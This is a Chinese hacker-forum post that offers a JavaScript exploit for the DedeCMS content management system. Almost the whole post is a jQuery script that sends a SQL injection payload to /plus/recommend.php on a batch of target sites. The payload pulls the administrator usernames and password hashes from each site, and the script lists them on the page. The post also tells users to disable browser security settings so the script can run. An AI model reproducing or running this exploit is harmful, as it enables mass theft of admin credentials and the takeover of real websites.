搜索
查看: 374|回复: 0

DEDECMS EXP javaScript版

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-3-1 10:50:02 | 显示全部楼层 |阅读模式
  1. var temp = 0;//定义全局临时变量,用于后面的线程区分!   为什么呢,因为浏览器中的事件每一个都是平级线程,在同一层的事件会同时执行
  2.         var txtUrl;//定义全局变量用于记录批量url拆分后的url数组
  3.         $(function () {

  4.             $("#btnOK").click(function () { //执行按钮点击操作
  5.                
  6.                 $("#content").empty();//清空结果集中内容,等待新结果出现
  7.                 temp = 0;//初始化临时变量
  8.                 txtUrl = $("#txtUrl").val();//获取输入的url框内容
  9.                 txtUrl = txtUrl.split("\n");//把输入的url内容按换行分割成数组 已达到批量操作
  10.                 for (var a = 0; a < txtUrl.length; a++) {//循环url数组分别进行AJAX GET模式访问远程


  11.                     $.ajax({  //AJAX操作
  12.                         url: "http://" + txtUrl[a] + "/plus/recommend.php/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa%5C%27and+char(@`%27`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9%20from%20`%23@__admin`%23",
  13.                         type: "GET",
  14.                         dataType: "html",
  15.                         success: function (data) {//AJAX成功时执行的操作

  16.                             var contentHTML = "<div class='JG'><h1>" + txtUrl[temp] + "</h1>"; //拼合结果集
  17.                             temp++;//更具AJAX执行的成功次数来对临时变量进行自增
  18.                             var info = $(data).find(".sp-title").find("h2").html(); //获取返回html的制定内容  这里获取的是账号密码
  19.                             info = info.replace("推荐:", ""); //对获取的内容进行去除多余字符
  20.                             var infoArr = info.split(",");//对返回的内容进行分割
  21.                             for (var i = 0; i < infoArr.length; i++) {
  22.                                 var userInfo = infoArr[i].split("#");//对分割后的子项内容分割
  23.                                 contentHTML += "<p>账号:" + userInfo[0] + "    密码:" + userInfo[1] + "</p>";//拼合入结果集
  24.                             }
  25.                             contentHTML += "</div>";//结果集拼合结束
  26.                             $("#content").append(contentHTML);//把结果集输出到页面
  27.                         },
  28.                         error: function (err) {//AJAX异常时执行的操作
  29.                             temp++;
  30.                             alert(err);
  31.                         }
  32.                     });
  33.                 }
  34.             });
  35.         })
复制代码
因为谷歌和火狐浏览器默认安全设置是不允许访问远端资源,所以使用时要关闭安全设定,相关文章:
http://hi.baidu.com/libaohuimsn/item/4c1ab997a2e25bd67b7f016b
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表